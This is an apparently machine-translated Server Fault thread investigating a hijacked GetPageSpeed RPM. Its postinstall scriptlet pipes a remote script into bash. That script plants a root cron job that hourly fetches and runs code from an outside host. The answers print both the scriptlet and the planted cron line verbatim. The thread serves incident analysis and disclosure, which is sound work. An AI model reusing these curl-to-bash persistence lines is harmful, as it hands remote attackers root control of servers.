Как установка этого RPM создала файл?

16

Запуск yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmсоздает, /etc/cron.d/sysstat2но RPM дезавуирует файл:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Как RPM создал файл и как я вижу, что еще он сделал?

паскаль
источник
4
Итак, принадлежат ли эти ребята из GetPageSpeed ​​и они этого не знают, или они сами публикуют плохие RPM?
Аарон Копли
1
RPM, который я установил с их сайта три месяца назад, был хорош. Вредоносный был опубликован вчера. Я думаю, что они были в собственности, и любой, кто использует их репо, становится владельцем. Вредоносный обрушивается через yum update. Я отправил им электронное письмо и сообщение через форму обратной связи.
Паскаль
И они тоже подписаны?
Аарон Копли
1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmисходный файл, в репо он все еще имеет старую дату и gpgcheck=1установлен в нем.
Паскаль
1
Предлагаю вам также связаться с веб-администратором по адресу sayitwithagift.com, хотя YMMV о том, какой ответ вы получите. Я закончил тем, что прошел через хостинг-провайдера веб-сайта, чтобы один раз связаться с неправильно настроенным почтовым сервером, поскольку сам веб-сайт никогда не отвечал.
Даррен

Ответы:

18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php содержит:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
паскаль
источник
16

Вы обнаружили, что сценарии rpm запускают сценарий из Интернета, и этот сценарий в настоящее время перенаправляет на вредоносное ПО. Хотя я не нахожу большую часть полезной нагрузки, которая что-то делает.

rpm не может полностью отследить, что произошло, потому что он запускает произвольный скрипт.

gpgcheck не поможет, как getpagespeed-extras-7-6.el7.gps.noarch.rpmи getpagespeed-extras-release-7-1.el7.gps.noarch.rpmвы связаны по всей видимости, имеют действительные подписи:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Пожаловаться владельцу репо, что пакет запускает произвольный код из Интернета. Если это необходимо, необходимо повысить безопасность их цепочки поставок программного обеспечения.

Кажется немного параноидальным делать первую установку программного обеспечения без доступа к Интернету или вручную проверять сценарий «после установки». Но, к сожалению, это кажется почти необходимым, если пакеты делают опрометчивые трюки, подобные этому

Джон Маховальд
источник
Полезная нагрузка - это задание cron, которое загружает и запускает sayitwithagift.com/pwn.php каждый час. В настоящее время ничего нет, но это может измениться в любое время. Удаление RPM не удаляет полезную нагрузку.
Паскаль
В их оригинальном RPM не было скрипта postinstall. Только версия, загруженная вчера (предположительно хакером), делает.
Паскаль
1
Неясно, является ли добавление из Интернета кода exec законной идеей или добавлено командой вредоносных программ. Последнее еще хуже, потому что это означает, что процессы подписи и загрузки были скомпрометированы.
Джон
1

У меня есть 5 серверов CLoudLinux / cPanel, на которых раньше использовался Nginx через Engintron, но теперь вместо них работает веб-сервер LiteSpeed. Я думаю, что Engintron, возможно, оставил постраничные репозитории, когда он был удален. cPanel запускает проверку обновлений каждую ночь, и около полуночи все мои серверы отправляют мне отчеты по электронной почте:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Поиск сайта полезной нагрузки привел меня сюда, где я вижу, что в тот же день у вас возникла та же проблема. Так что, чтобы добавить мою информацию к себе. Один и тот же /etc/cron.d/sysstat2файл существовал на всех моих серверах.

Я удалил файл, удалил репозитории и использовал контактную форму в GetPageSpeed, чтобы сообщить о проблеме. Владелец репо может быть самовольным, поскольку в блоге было сообщение о том, что он закрыл репо из-за проблем со здоровьем. Поэтому, возможно, злоумышленник либо воспользовался тем, что репо не привлекает внимания, либо нашел открытую дверь для использования.

Джон К. Рейд
источник
1
Сообщение о закрытии репо было опубликовано после того, как он получил мое письмо о взломе. Я попросил его снова открыть репо и выложить обновленные пакеты для удаления /etc/cron.d/sysstat2. Он сделал это.
Паскаль